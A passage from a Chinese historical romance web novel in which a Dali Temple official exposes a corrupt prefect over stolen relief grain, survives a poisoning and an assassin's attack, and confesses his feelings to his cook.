那小子乔装的本事堪称一绝,不然也不会让他过来办这么重要的事。陈九带人与他们前后脚到的渡口,他们这些人不宜有太大动作,陈九在暗处做事更方便。 就比如韩泽要让严州府受灾的七个县县令亲自过来与阚永明对质,若是明着做定会遭到重重阻拦。阚永明身为本地最高长官,他有权勒令七县县令不得离开治地。陈九偷偷把人带来会少去很多麻烦,阚永明不可能监视辖下所有官员。他此时的大部分注意力都在韩泽身上。韩泽不问正事,让他摸不着头脑。 “其实没看出来。”姚轻雪摇头,“那老人虽是头发花白、满脸褶子,但手却出卖了他的年龄。” 哪个白发花白的老人有一双年轻的手?开始姚轻雪以为那人是严州知府派过去监视他们的,所以她才提醒韩泽,没想到虚惊一场,竟是自己人。陈九她见过,光看那满是褶子的脸完全看不出来,尤其他还说着十分正宗的本地话。 姚轻雪扫了一眼韩泽身边的几个人,都是人才啊,所谓强将手下无弱兵,带领这些人的韩泽一定更强。 韩泽看他家厨娘一眼,对杜七道:“今后乔装细节要做到位,若是被发现,事办不成,人也会有危险,万不可大意。” 杜七郑重地道了声:“是!” 之后这些人便在宅子里没有出去,因大家都说本地精细膳食吃不惯,姚轻雪便亲自下厨。把原本要做的清汤鸡改成辣炖鸡、清蒸鱼做成麻辣鱼、白灼虾做成油爆虾。 这群京城来的大男人不习惯这边的饮食,本地人崇尚的原汁原味韩泽最讨厌。偶尔吃上一顿感觉新鲜,吃的多了,便觉得口中没味儿,腹中不饱。 晚上这群人个个吃到撑,都没什么形象地摊在椅子上。韩羽:“来了这些天总算吃上一顿饱饭,幸好大人有先见之明,把姚厨娘带来了。” 韩泽心说我带人不是给你们带的,“现在你们都该懂得饭菜不合口是什么心情了吧。” 大理寺几个人挤眉弄眼,懂是懂,但不一样啊。不合口他们一样能凑合吃,起码不饿肚子,但您韩大人不合口一筷子不动,还不给旁人好脸色。 见几个手下眼睛挤来挤去,韩泽问:“眼睛都抽了?” 高飞摸摸鼻子讪笑:“没。” 他们正在屋里说话,因吃螃蟹“坏了肚子”的余天照终于回来了。还是严州府通判关良亲自送过来的。 关良:“这位小兄弟不知韩少卿搬来这里找去府衙,知府大人命卑职亲自将人送过来。小兄弟脸色不大好,郎中已在来的路上了,知府大人叮嘱卑职转告韩大人,若是有需要什么尽管开口。” 余天照脸色不大好,看着确像大病初愈的样子。他拱手:“多谢大人,我已经无大碍,不劳烦郎中跑一趟。” 韩泽道:“你脸色不好,莫要辜负了知府大人的一片心意,先回房休息吧。” 杜飞扶着余天照走了,关良与韩泽攀谈,问他明日有什么打算。韩泽说他想出城走走,逛逛本地的天然山洞。 关良面色一滞,而后道:“山中路多洞也多,若是没有本地向导,大人怕是很难找到景色优美之处,不如卑职派人给韩大人和大理寺众位领路。” “如此甚好,本官正愁无人领路,谢过关大人。” 前脚送走关良,后脚郎中背着药箱就到了。把脉开药,等郎中走后,梁丘恩掀开余天照的被子,把他腋下的两枚银针拔出来。“兄弟受苦了。” 为了装成大病初愈的脉象,梁丘恩用银针封住了余天照两处大穴,即便是太医院的那些太医,没点道行也未必会发现,此法骗骗普通郎中绰绰有余。 余天照坐起身,“你这针倒是不疼,就是扎着难受,那郎中再不走,我得让你扎废了。” 众人都笑。片刻后余天照收了脸上的笑对韩泽:“属下去见了刘将军,他看了陛下手谕,刘将军答应帮忙。不过军队要悄无声息靠近严州府城难度不小,刘将军叫您别急,等他五日,五日后他率军在城外听您调遣。” 韩泽:“好!辛苦了。” 刘城将军掌管严州府驻军,与阚永明虽属同州,但本朝军政分离,刘城身为武将不管地方政事,所以他和严州府衙来往不多,最重要的是刘城出身韩家军,曾和韩泽的父亲韩振在北疆待过。 阚永明的人韩泽一个都不敢信,他能欺上瞒下一年之久,严州府必定都为他马首是瞻,从严州通判关良身上就可以看得出来。若是到了动真格的时候,阚永明绝对不会因为他是陛下派过来的就手软,所以手里必须得有兵。 陛下也深知这一点,便给了韩泽手谕,严州府乃至其他州府的军队都可听他调遣。有了这层保障,韩泽才可以放开手脚。 “大人!”杜七从外面进来,“陈九送来消息岑县县令已达城外十里的桐安镇。其他人明晚前都可陆续到达。” 韩泽讶异:“这么快?” “听说要查办严州知府,各县县令都急不可耐,马车不坐,全都骑马日夜兼程赶来府城。”杜飞叹道,“这些父母官都憋着气呢。” “原来如此。”韩泽惊讶之余,不免开始担忧。这么多人同时在桐安镇落脚,怕是会引起怀疑,而且各县县令严州府肯定有人见过他们,若是露馅一锅端就麻烦大了。“迟则生变,等不了刘将军了。” “没有人手,阚永明发难,我们对付不了啊。”高飞满脸担忧,严州府都是阚永明的人,万一撕破脸,他们想跑都跑不了。 “拖一日,七县县令便多一分危险。”韩泽眉头紧锁,七县县令本来就是秘密来严州府,若是半路被截杀,阚永明半点责任没有,最坏的结果是他被问罪,而阚永明毫发无伤。“先把人带来府城,过了明路阚永明便不敢暗中下手,想办法通知陈九,让他与刘将军取得联系,将严州府的事告知刘将军。” “明日游玩怎么办?”韩羽问:“突然变卦岂不是令人起疑。” 事情有变,韩泽不敢贸然出城,他怕阚永明多想,再派人去桐安镇,弄巧成拙麻烦就大了。但怎样合情合理地把明日游玩之事推了呢? “咚咚。”敲门声响起。杜七过去开门。 门外姚轻雪端着托盘,上面一碗鸽子汤和一碗白米饭,“饭做好了,趁热吃。” 杜七接过托盘,“辛苦姚厨娘。” “不辛苦。”姚轻雪转身要走。“等等。”韩泽把人叫住,他对人招招手。 姚轻雪不明所以走进屋内,“大人找我有事?” 韩泽指了指他家厨娘:“明日就说她身子不适,不适宜外出游玩。” “咦?明日要出去玩吗?”姚轻雪压根不知道这回事。韩泽与人谈事,她都会尽量避开。 “原本想带你出去走走,但事情有变,去不成了。”韩泽道,“还得委屈你装下病。” 韩泽打算出城确实是为了姚轻雪,闲着也是闲着,阚永明还总琢磨他,不如趁这个空档带他家厨娘出去看看山水。等抓了阚永明就得尽快赶回京城,那时不一定有时间看风景了。 姚轻雪本来不知道有这一茬,去不成她也没有多失望,正事要紧。“但是我现在好好的,今日还在厨房忙了这么久,宅子里的侍女和 灶房的婆子都瞧见了,明日突然病倒,是不是太突然了。” “还是姚厨娘心细。”杜七笑道,“办法有一个,就是不知方不方便。”他没往下说,而是去看上官。 韩泽:“有什么话直说,说出来大家才好判断方不方便。” “哎!”杜七叹气,把高飞韩羽撵出去。 韩羽挺不乐意,“什么话我们不能听啊,老杜你可真是的,感情你说的不方便是我们不方便听啊。” “少废话,赶紧走。”杜七把两人推出房间,余天照是“病人”不宜往外撵,他已经成亲了听听也无妨, 关上门后杜七对姚轻雪道:“杜某接下来要说的话有些唐突和冒昧,还望姚厨娘见谅。” 姚轻雪眨眨眼,“你是想让我来月事?”女人突然身体不适,来月事最为合理。 杜七:“……姑娘聪慧。” “没有问题。”姚轻雪也觉得这个主意不错,能骗过宅子里的下人。宅子里的丫鬟婆子都是知府安排的,除了伺候大概也有监视之用。他们说话都不敢大声,屋里说事,曹叔等人就在院外坐着,防止有人靠近偷听。 杜七:“这样一来姚厨娘和韩大人可能会有些不实传言,还望莫要放在心上。” 姚轻雪一琢磨就明白了,大理寺少卿因为他家厨娘来了月事,都不去游山玩水了,让谁听了都得多想。她摆摆手,不在意道:“没关系,等我们走了,传言自然也就没了。” “姑娘大义,杜某钦佩。”杜七恭维了几句,而后道:“为了逼真,我给姚厨娘调点颜色,等会儿你去灶房转一圈。” “你还能调血色?”姚轻雪惊呼,“怎么弄?让我瞧瞧。” 看着他家厨娘和杜七谈月事毫不羞怯,韩大人摸了摸脸,他脸热什么。 跟杜七嘀咕完,姚轻雪拿上小药品,端着余天照吃完的碗盘去了灶房,不多时她便一脸羞红地捂着屁股跑回房间。 杜七趴在门缝感慨:“姚厨娘一点就透,演得也逼真。” 次日,关良备好马车,亲自过来接人,在听说韩大人因为厨娘身子不适不能出游时,那眼神别有深意。 韩泽:“抱歉,让关大人白跑一趟。” “韩大人严重了,改日再去也不迟。不知那位姑娘身子要不要紧?要不要找郎中瞧瞧?” “不必了,躺两日便好。”韩泽道。 打发走了关良,众人都松了口气,姚轻雪在床上躺着装虚弱,饭菜由本地厨子做,大家吃得没滋没味。 好在没让他们等太久,隔天巳时陈九派人来通知,午时初,七县县令将齐聚严州府城东城门外。到时势必会遭到严州府守城士兵的阻拦。 韩泽穿上官服:“我们去东城门逛逛。”大理寺众人也都换好行头,随韩泽出城迎接七县县令。 第54章 第54章“他拖不过去” 韩泽身着绯色官服走在最前,大理寺众人紧跟在他身后。姚轻雪和曹叔两个编外人员走在最后。街上百姓不知他们是何人?又要干什么,不乏好事者一路跟随。 严州知府阚永明得到消息赶紧追了过去,他虽不知发生了什么事,但直觉不会是好事,在即将到达城门前,阚永明将人拦下。 “阚知府!”韩泽冷着脸道,“本官要接人进城,你为何要阻拦?” “阚某不敢,不知什么人要韩大人亲自迎接?” “本官要接的人阚大人也认识,既然来了那就一起吧。”韩泽越过他往城门走去。 这时守城士兵看见了他们,有人过来在阚永明耳边说了什么,阚永明脸色大变,他万万没想到韩泽会给他来这手。“韩大人请留步。” 高飞和韩羽转身,将佩刀往前一横,“大理寺奉陛下旨意前来查案,阚大人你想违抗圣命吗?” 此时周围百姓才知道这些穿官服、戴佩刀、威风凛凛的人是京城大理寺的官差,而后面跟着的是他们的知府大人。这下百姓兴趣更大了,聚过来的人越来越多,把东城门内堵得水泄不通。 “大人,怎么办?”关良急得额头上全是汗,压低声音说道:“不能让那几个县令进城,不然麻烦就大了。” “圣命不可违,我能有什么办法?难道让我在大庭广众下杀了他们不成?”阚永明低声喝道:“韩泽何时派人找来段文德等?都兵临城下了你竟一点没有察觉?你这个废物。” 关良脸上青一阵白一阵,宅子里的人他都看得死死的,到现在他也没弄明白韩泽是怎么悄无声息把人带到城下的? 阚永明怒不可遏,无法掌控的局面让他愤怒,更让他心生寒意,后悔该早一步除掉韩泽,也就不会有今日之事。 城门外,守城士兵将穿官服的县令们拦住。“无令不得进城。” 韩泽在那群人中看见了段文德,高飞和韩羽高举手中令牌,走过去把守城的士兵挡下来。“大理寺办案,不得阻拦。” 以段文德为首的七位县令脸上都露出惊喜。 韩泽走近抱拳躬身一礼:“各位大人辛苦了!” 七人回礼,齐声道:“求大人为民做主!” “尔等不守法令、不尊皇命,无调令擅自离开治所,你们可知罪?”阚永明先发制人,“韩大人,大理寺办案本官管不着,但国法当先,地方官员无上官令和皇命不可擅自离守,这是开国便定下的规矩,这七人没有得到本官允许不能入严州府城。” 韩泽冷笑:“你要皇命,本官给你。” 话音刚落,杜七捧着一副小巧的卷轴走到众人面前,“陛下手谕。” 县令们赶紧整理衣衫,躬身倾听。阚永明不得不把要说的话咽回肚子。 杜七宣读圣谕,大意是大理寺奉命调查去年严州府赈灾粮被贪一案,严州府上下要全力配合,不得有误,韩泽有便宜行事之权。这就是告诉大家韩泽不必请示任何人,根据实际情况可以做任何决定,严州知府也得听他的。 阚永明心中大骇,韩泽来后态度不明,他心存侥幸能躲过一劫,现在看是要他命来了。 百姓们一阵惊呼,此前绝大多数人不知道发生了什么?严州城中的百姓受灾情影响不大,那些对灾情有丧亲之痛的乞丐全都被阚永明关了起来,所以这些人也就是看个热闹,并不知道皇帝派大理寺来查什么案?查谁?现在都懂了,所有人都去看知府。 阚永明又气又恨又羞,韩泽公然羞辱他,他还不能发作。“赈灾粮已经如数发放到百姓手中,贪污一事纯属污蔑,不知是谁无中生有,还望韩大人为本官做主,还本官清白。” “是不是无中生有只有查了才知道,巴县县丞乔度年的血书辗转送到陛下面前,而乔度年本人至今下落不明,本官怀疑有人杀人灭口,阚大人!你说该不该查?” 阚永明硬着头皮道:“该查!” “既如此,那大人便协助本官早日查清此案。”韩泽冷冷地看着他,“本官要即刻核对严州府赈灾账目,阚大人回府衙准备吧。” 阚永明目眦尽裂,准备什么?他账本做的再好,与七县县令一对便全都露了。他能说消失的粮食在半路被人抢了吗?事到如今只能走一步看一步。他对关良道:“关通判,回去准备。” 韩泽对七县县令拱手:“请诸位随本官一同去府衙对账,是非曲直很快便会有定论。” 等了这么久终于可以出口恶气,七人恨不得一下子飞到府衙。他们骑马而来,都由小厮牵着,此刻都拉过缰绳跨上马背。 见状,韩泽顺手夺了阚永明护卫的的马,高飞等人有样学样每人抢了一匹马。 严州府的护卫面面相觑,不敢动、惹不起。 高飞在马上大喊:“大理寺奉命查案,还请大家让出路来。” 原本堵成一团的百姓呼啦啦让开道,韩泽一马当先,路过一人时,他弯腰一捞,姚轻雪还没反 应过来就被他捞到马上,坐到他身前。 阚永明一口老血差点喷出来,这个时候还不忘耍帅抱女人。韩泽回头给了他一个轻蔑的眼神。 阚永明:“……” “大人,大人,您怎么了?”手下扶住欲倒的知府大人。 阚永明一甩胳膊,“还不快回去。” 马儿跑得快,姚轻雪随之起伏摇晃,开始的惊惧逐渐被喜悦取代,韩泽一手牵缰绳,一手环住她的腰。 韩泽在她耳边问:“不怕?” “不怕!”姚轻雪扶着马鞍,两眼亮晶晶,“你不会让我摔下去的。” 韩泽轻笑,左臂收紧,一夹马腹,让马儿跑得更快。 到府衙已经是午后了,关良在门口笑脸相迎,“卑职为韩大人和众位准备了午膳,请大家移步随我去用膳。” 韩泽回头看身后,段文德道:“当务之急是核对账目,午膳不吃也罢。”他们身上都带了干粮,饿了就吃两口。阚永明不倒谁吃得下饭?阚永明不会饶了他们这些人,今后有没有命吃饭都不一定。 韩泽也知他们怕是吃不下严州府衙的饭,“请关大人在府衙堂上准备桌椅,再把账本悉数拿出,本官带了户部去年严州府赈灾账本,今日本官要与阚知府和七县县令当堂核对账目,看看到底是哪里出了错?让阚大人蒙受不白之冤。” “这、这、”关良不敢答应,也不敢公然违抗,“请大人稍等片刻。” 关良这一走便没了踪影,阚永明也不知去向,韩泽和七位县令在府衙大堂等了许久也不见人出现。 高飞:“大人,阚永明在拖延时间,府衙都是他的人,不听属下调遣,我们也不好硬来。” “他还能躲过去不成?”韩泽冷笑,“我们等,等到天黑,本官要以他抗旨为由,接管他的府衙。” 话音刚落,有人来报说阚永明回府衙的路上从马上摔下来、断了腿。这会儿正送去医馆医治。 “……行,有种。”韩泽起身,“众位,阚知府摔断了腿,大家随本官一起去探望吧。” 七位县令互相看了看,心里都清楚阚永明此举是为躲避查账。他们此时也不急了,短短的相处,大家都看得出这位大理寺少卿一身正气、雷厉风行。既然将他们聚到一起,便是下了决定,就不会让此事不了了之。韩泽干什么,他们跟着便是。 众人浩浩荡荡从府衙去了医馆,阚永明知道后,咬牙启齿道:“这是要逼死本官。” 姚轻雪在人群后垫着脚尖往医馆里瞧,阚永明把自己摔得鼻青脸肿,一条腿吊着也不知真断了还是装的。他这个样子饶是韩泽也不好硬拉着他去查账。 客套了几句韩泽便道:“阚大人身体要紧,先把身体养好,其他事好说。” “多谢大人体谅。”阚永明拱手道谢:“府衙客房已准备好,不如请韩大人和大家去府衙居住。” “不必了,阚大人安排的宅子本官甚是满意,就让七位县令住到本官的宅子里吧。” 阚永明心里松了口气,不住府衙才好,之后发生什么可就跟他没有关系了。 韩泽将人带回宅子,他们在房中谈事,姚轻雪在膳房指挥人准备膳食。七位县令,每人身边都跟着一位小厮,突然来了这么多人,她一人根本忙不过来。有现成的丫鬟婆子不用白不用。 吃上饭已经快申时末了,段文德等人吃过饭便都去睡觉,几日不眠不休地赶路,大家都累坏了,现在有韩泽在身边,他们都放下心来,这一觉睡到次日早。 早饭后,韩泽去府衙看望阚知府,直到午后才回来。姚轻雪知道他即便用午膳也吃不好,便重新给他做了菜。 闲来无事韩泽便去灶房看他家厨娘做饭,还抢了曹叔烧火的活。姚轻雪问他:“你就让他这么拖下去?” “他拖不过去。”韩泽不急,是因他在等人。手里没人可用,阚永明才不把他放在眼里。 刘城将军还需两三日才能到府城,等有人可用,抬也要把阚永明抬到大堂上。管他断腿还是伤了心肝脾肺肾,只要还有一口气就要过堂,他要当着百姓的面揭下姓阚的面皮。 知道他心里有数,姚轻雪也就放了心,她把最后一道汤盛进碗里。碗盘好几个她一人端不过来,便指韩泽:“韩大人,劳烦您自己个端上碗筷去隔壁膳堂。” 韩泽从灶前的小板凳上起身,拿起碗筷跟在她身后。“我堂堂大理寺少卿竟然要给你端碗。” 姚轻雪回头戏谑道:“大理寺少卿可以不吃饭?只要吃饭就得端碗,不是给我呀堂堂韩大人!” “越来越没有规矩。”韩大人嘴上说没有规矩,眼中却透着温柔。 走进膳堂姚轻雪把盘子放到桌上,回身接过韩泽手里的碗筷,“韩大人辛苦,我不懂规矩您千万别生气,小的这就去给您端汤。” 看着跑走的人,韩泽哑然失笑,从来都是嘴上说说,心里对他没有半点惧怕。敢与他顶嘴吵闹的人也就她了。 汤碗端过来,韩泽让她陪自己说说话,姚轻雪手上沾了油渍,便去灶房洗手。洗手的盆上有荷花图案,与刚端进去的汤碗图案类似。 看到这朵荷花,一个画面突然从姚轻雪脑中闪过。她记得和韩泽离开灶房时,汤碗里的羹匙压在那朵荷花上,但等她回来时羹匙似乎移了位置。因为没有特别留意,但隐约有个印象。 难道是曹叔?姚轻雪走出灶房,喊了声:“曹叔?” 没人应,姚轻雪大一惊,对膳堂大喊:“别喝汤!” 第55章 第55章中毒 韩泽先喝了半勺汤,他觉得味道有点怪,但想想他家厨娘忙得头上全是汗,韩大人便屏住呼吸把另外半勺放进嘴里。还不等他咽下去,就听见姚轻雪的喊声。韩泽立即吐了汤,随后便觉得腹中绞痛。 姚轻雪进屋就看见韩泽躬着身子倒在地上,她赶紧过去查看。 这时一婢女突然走进来,她手里拿着刀,直奔他们二人而来。 韩泽很难受,站不起来也动弹不了。姚轻雪不知哪来的勇气,张开双臂挡在他身前。 婢女举刀就砍,千钧一发之际韩泽使出全身力气,从身后推开姚轻雪,刀落在他手臂上。姚轻雪吓傻了,但她动作比脑子快,随手拿起边上的凳子摔了过去,并大叫:“有刺客!” 甩出去的凳子耽搁了婢女的动作,院外的曹叔听见后跑进来。姚轻雪急得眼泪都快下来了,曹叔来就是送命啊,她又抄起个凳子准备帮忙,然后便愣住了。 只见曹叔不知从哪里拿出两节铁棍,与那婢女打得不分上下,那婢女根本近不了韩泽的身。姚轻雪呆了一瞬,与曹叔同院住这么久,她竟然不知道瘦巴巴的曹叔会功夫。不过也幸亏他有功夫,不然自己和韩泽可能就要交代了。 姚轻雪顾不上曹叔,放下凳子去看地上躺着的人。韩泽脸上青紫,一条手臂被血染透。 “韩泽!”姚轻雪心神慌乱,抱着人不知所措。 刚刚姚轻雪那一嗓子传到正院,高飞等人眨眼功夫便赶到,那婢女见势不好想跑。大理寺的人怎 么可能让她跑了。 逮住女婢,众人把韩泽抬回卧房放到床上,梁丘恩用银针封住他身上几处大穴,防止毒性继续蔓延。他懂些医术尤其善用毒,此刻正好派上用场。 就在大家全力救韩泽时,关良带人闯进宅子,他嚷嚷着要抓刺客,韩羽火冒三丈,拔出刀就要去砍了他。 杜七把人喊住:“关良只是阚永明的一条狗,杀他没用。韩少卿生死关头,不可节外生枝,你去将人打发走,先让他多活几日,等事后我们一起找他算账。” 刺客是谁派来的不言而喻,韩泽平安无事便好,韩大人要是有个三长两短,他们这些人拼了命也要杀进严州府衙弄死阚永明。 韩羽都快气炸了,但也知道顾全大局,只好咬牙忍下:“我知道了。”他平复了一下心情和余天照一起去应付关良。 姚轻雪跌坐在韩泽房门外失魂落魄,炎炎烈日她却如坠入冰窟,浑身不住地打着哆嗦。她看着沾满血的手,若不是韩泽把她推开,她早就是死人了。韩泽替她挡刀,他还中了毒,他要是死了怎么办? 不会!他不会死,韩泽那么厉害不会轻易死。巨大的伤痛几乎让她不能呼吸,姚轻雪大口喘着粗气,她两手抱住脑袋将自己缩进膝间。身边有人来来回回,她毫无所觉,她想着与韩泽相遇后的每一件事。以往不曾察觉的瞬间如今都走马灯般在脑中闪过,原来和他在一起的日子是那么美好。 惊恐不安的人还有曹叔,曹叔狠狠扇了自己两巴掌,他怎么偏在那时去茅房。他若不走,就不会给人下毒的机会,少爷也不会挨那一刀。 段文德等人在屋外也是不知所措,见到姚轻雪这个样子不知是劝还是不劝。韩大人若是有个三长两短,他们这些人也不会有什么好结果,阚永明不会放过他们。大家担心韩泽的同时,不免为自己担忧。 不知过了多久,在姚轻雪看来很长很长,长到她度过了几个月的时光,终于有人来告诉她韩泽没事了。 梁丘恩:“还好喝的少,不然神仙也救不回了。”不幸中的大幸是刀上没有毒,若不然真不知道结果会怎样。 杜七把坐在地上的姚轻雪扶起来,“大人的刀伤不重,毒也解了,姚厨娘大可放心,你先去洗洗,再换身干净衣服,大人还指望你照顾呢。” “对,姚姑娘你要坚强啊,我去给你端水。”段文德转身往灶房走去,如今这宅子里的下人都被关起来,做什么都得他们自己动手了。 姚轻雪眼泪如决堤的河水,擦也擦不尽,激动、惊喜也有后怕。她洗了手回屋换了干净衣服就往韩泽房里跑。 韩泽脸色惨白地躺在床上,看见姚轻雪他努力扯出一个微笑。“吓着了?” 姚轻雪摇了摇头,又点了点头,刺客没有吓到她,吓得半死,是怕韩泽死了。“疼吗?”她亲眼看见足有一寸宽的刀砍在韩泽身上。 “不疼,梁丘恩说没伤到骨头。”韩泽伸出手指勾了勾放在床边的手指,“你呢,有没有伤到哪里?” 姚轻雪看着握着自己指尖的手,有些话她明知不该问,至少不该现在问,但她很想知道自己在韩泽心里是什么位置?十分迫切地想知道。“韩大人,你是在调戏我吗?” 韩泽轻笑,把手松开然后又握住她整个手掌,“对,你可有意见?”死了一回,他想开了、不愿再等了。 “你、什么意思?”姚轻雪脑中有一瞬的空白,随后便是惊喜、不安,更有一丝困惑。 “我心悦你。”韩泽直截了当。 姚轻雪呆呆地望着他,“你喜欢我?” “怎么?没看出来?”韩泽声音里透着委屈,“我做的还不够明显吗?” 姚轻雪嘟囔:“你又没说。” “这还用说?我以为你懂。” “……我又不是你肚子里的蛔虫。”姚轻雪嘀咕。 “那你喜欢我吗?”韩泽问。 “有点吧。”姚轻雪努力忍着不让自己笑出来,“就一点点,也不是很多。” “一点点是多少?”韩泽追问。 姚轻雪食指和拇指比了个小小的空隙,“这么点。” “我对你的喜欢那么多。”韩泽想用两手比划个大圆,但他那只手动弹不得,便只能用一只手在空中划拉一下。 “不行,你得多喜欢我一点,要比我喜欢你更多才行。” 杜七端着药碗站在门外进也不是退也不是,不食人间烟火的韩大人在姑娘面前也这么幼稚,跟旁的男人没甚区别。他家大人这一刀也算没白挨,媳妇是跑不了,但是这俩人这个时候说这些是不是不大合时宜? “抱歉,属下知道这个时候不该打扰两位,但韩大人您该喝药了。” 姚轻雪脸“唰”地一红,她起身走到门边接过药碗,然后回到床边给韩泽喂药,因为慌乱手上失了分寸,韩大人没被毒死,却差点被他家厨娘呛死,还好杜七及时接手。 姚轻雪像做错事的孩子站在一边。韩泽难得见她这般乖巧,心中不忍,安慰道:“没事,都喝进去了。” 杜七心道他家大人是真陷进去了,这体贴的关怀、温柔的语气,怕是只有姚轻雪有这份待遇。杜七暗自腹诽,但没忘正事。 “大人,刚刚关良要硬闯进来,韩羽他们应付过去了,但府衙的捕快在宅子外面守着。” 关良本想在那个女人杀了韩泽之后,他以捉拿刺客为由伺机杀了她,事后再揭露刺客身份,此事便与他们没有半点关系。谁知他连那个女人的面都没见着,韩泽是生是死也未可知。 韩泽冷笑:“他大概是想看看我死了没有。刺客呢?活着吗?” “活着,她是今早与出去买菜的婢女对换后混进来的,其他丫鬟婆子并不知情。” 韩泽:“问出什么了吗?” “没有。”杜七看了看姚轻雪,“不过刺客似乎对姚姑娘有恨意。”那女人对姚轻雪破口大骂。问她为什么?她就跟发了癫似的骂个不停,他们只好把她的嘴堵上。 “对我?”姚轻雪一脸莫名,不是来杀韩泽吗?恨她做什么? “我去看看。”韩泽挣扎着要起身。 姚轻雪把人按住,“你这身子还是别动了,我去问问她为何恨我,回来告诉你。” 杜七:“不用麻烦,我去把人带过来。” 很快高飞等人将女刺客押了进来。那女人一见姚轻雪就开始挣扎,眼神像是要吃了她似的。 韩泽摆了摆手,杜七将勒在她嘴上的布条解开。“姚轻雪我早该杀了你,我有今天全都是拜你所赐。” 姚轻雪皱眉,她做什么了?“我们认识?” “你不记得我?”刺客一愣,而后发出阴鸷的怪笑:“那日我去杀你,你却离开了京城,早知有今日,我就该宰了那两个老东西和那个小丫头,让你尝尝失去至亲至爱的滋味。” 姚轻雪走上前“啪!”就是一个大嘴巴,觉得不解气,“啪啪”连着扇了好几下,刺客的左边脸颊立时肿了起来。把杜七和高飞等人都看呆了。 姚轻雪死死盯着刺客。韩泽差点被杀,爷爷奶奶和芽芽也差点遇害。一股戾气充斥在姚轻雪心间,她恨不得杀了眼前这个女人。 见姚轻雪如此,刺客终于痛快了,她疯狂大笑。 姚轻雪突然瞪大了眼睛:“你是莺儿?” 第56章 第56章跟她的厨艺一样——真棒…… “终于认出我了。”刺客莺儿发出渗人的怪笑,“安国公府没有一个活口,你却活得好好的,姚轻雪,是不是你向大理寺告的密?一定是你对不对?” “她是安国公府余党?”大理寺众人大惊。安国公府怎么跟老鼠窝似的,杀了一波又一波,如今还追到严州府来杀人。 韩泽问:“雪儿!你认识她?” 姚轻雪道:“她是赵琨的侍女,有一次赵琨宴请宾客,就是我在安国公府见到玉美人那次,宾客散去后就是这个莺儿将我诓去赵琨的卧房,赵琨欲行不轨之事,后被我逃脱。” “三公子要你是看得起你,你不识好歹反过来却害了安国公,都是因为你安国公府才会被抄家灭族,我要杀了你们这对狗男女,给三公子报仇……”两手被钳住的莺儿跪在地上歇斯底里地喊叫。 屋里的人都惊呆了,这脑子妥妥的有病啊。 姚轻雪也很震惊,她以为安国公府已经成为过去,却不想阴魂不散,令人作呕。“你太看得起我了,安国公府灭门跟我没有关系。赵琨那个混蛋也只有你把他当宝,老娘半点瞧不上。” “看来安国公所做之事你都清楚。”韩泽走过来,站到姚轻雪身边,“既然清楚就该知道赵家早晚有这一天,陛下早就命我调查安国公,你想报仇找错人了。” 莺儿咬牙切齿道:“没找错,原本就是要杀你,安国公府就是倒在你们这两个狗男女身上,可恨我技不如人,不能替三公子报仇。” 莺儿被仇恨迷了眼,见到姚轻雪和韩泽在一起,便认定安国公府灭门跟姚轻雪有关。人一旦钻了牛角尖,很难听进别人的话,哪怕是显而易见的。 被她骂了半晌,还一口一个狗男女,姚轻雪下去的火“腾”地又上来了。对莺儿这种人,动手不如动嘴。 “报仇?”姚轻雪冷笑:“你的三公子从始至终都没把你放在心上,他在地下不知跟多少女鬼相好,怕是小鬼都生了几窝,只有你傻傻地还想着为他报仇。你是脑子有坑,还是被门夹了?我要是你找盆水自己淹死算了,活着都是浪费粮食。” 莺儿大喊:“你胡说,他说过要娶我。” “娶你?别做梦了。”姚轻雪嫌不够解气,继续捅刀子:“赵琨说你不过是他的一个玩意儿,他对你没有半分情意,还说要将你赏给手下,也幸亏他死得早,不然你会被千人骑万人压,下辈子找男人把眼睛擦亮些,别被骗了还给人数银子。” 众人:“……”姚厨娘这嘴,跟她的厨艺一样——真棒! “你胡说、胡说。”本就是对赵琨的执念支撑着她,如今仅有的念想被姚轻雪扔到地上践踏,莺儿最后一点希望破灭,再加上她郁结于心,被这么刺激,一口血喷出来昏死过去。 韩泽赶紧让人把她抬走。 “不会死了吧?”姚轻雪有些心虚,“这么不经气?我也没说什么啊。” 韩泽心说专往人心窝子里捅,你还想说什么。“死不了,有梁丘恩呢。” “大人!阚永明和安国公余党有勾连,光是这一条他就死罪难逃,等刘将军一到,将人捉了便是。”高飞眼中露出兴奋。与逆党勾结还审什么审,即便把人就地正法,朝中那些官员屁都不敢放一个。 韩泽沉思片刻道:“审还是要审,严州知府贪污赈灾钱粮致使无数人家破人亡,百姓对朝廷多有怨言,必须将真相公之于众。”得让百姓看到不是朝廷不管他们,而是贪官害了他们,这也是陛下想看到的结果。“莺儿是重要人证,别让她死了,要妥善安置。” “是,属下这就去安排。”高飞去安顿莺儿。 房中只剩下他们两人,姚轻雪装不下去了,她鼻头一酸,眼泪瞬间溢出眼眶。“爷爷奶奶和芽芽差点因我丧命,我好害怕。” “别信,她吓唬你呢。”韩泽抬手拭去她脸上的泪水。 姚轻雪抽了抽鼻子,“如果我没有跟你来这儿,说不定、”说不定她已经被莺儿杀了。 “没有如果,你一定得跟我来严州府,即便你不愿来,绑我也要把你绑过来。” “为什么?”姚轻雪嘟囔,“你怎么这么霸道啊。” 韩泽:“因为我离不开你。” 门外的高飞简直没耳听,赶紧把房门给他们关上。 “噗嗤!”姚轻雪觉得他一本正经说情话的样子很好笑。 “笑什么?我说真的。”好不容易哄回人还被嘲笑,韩大人不满地捏了捏她的鼻子。 “知道了,我信你。”被他这么一打岔,姚轻雪瞬间释然。哪有那么多如果,当下,她爱的人都好好活着,这就够了。“你脸色不好,去床上躺着。” 韩泽刚躺下,杜七去而复返,“大人,阚永明来了。” “哦?”韩泽又坐起来,“他不是腿断了吗?如何来的?” 杜七:“被人抬着来的。” 韩泽嗤笑:“这是急着看我死没死,让他进来吧。” 不多时,阚永明坐在椅子上被四个人抬了进来,一瞧床上躺着的韩泽,他心里凉了半截。韩泽还活着,他活着自己就没有活路啊。 “韩大人,您这是怎么弄的?”阚永明提着一条腿从椅子上起来,蹦到床边。“听说宅子进了刺客,刺客呢?这个关良就是个饭桶,让他保护大人,他就是这样保护的。” “阚大人,稍安勿躁。”杜七拦在床边不让他靠近,“我家大人没事,那刺客行凶后翻墙逃了,这事我们已经告知关大人,怎么他没有去抓刺客吗?” “正在全城搜捕。”阚永明慢慢坐回椅子上,“为了保障韩大人的安全,这宅子也得搜一搜,若是韩大人在我严州府出了差错,阚某万死难辞其咎。” 韩泽虚弱地说道:“那便有劳阚大人了。” “韩大人好好休息,改日再来看你。”阚永明招招手,身后的四个壮汉过来抬椅子。 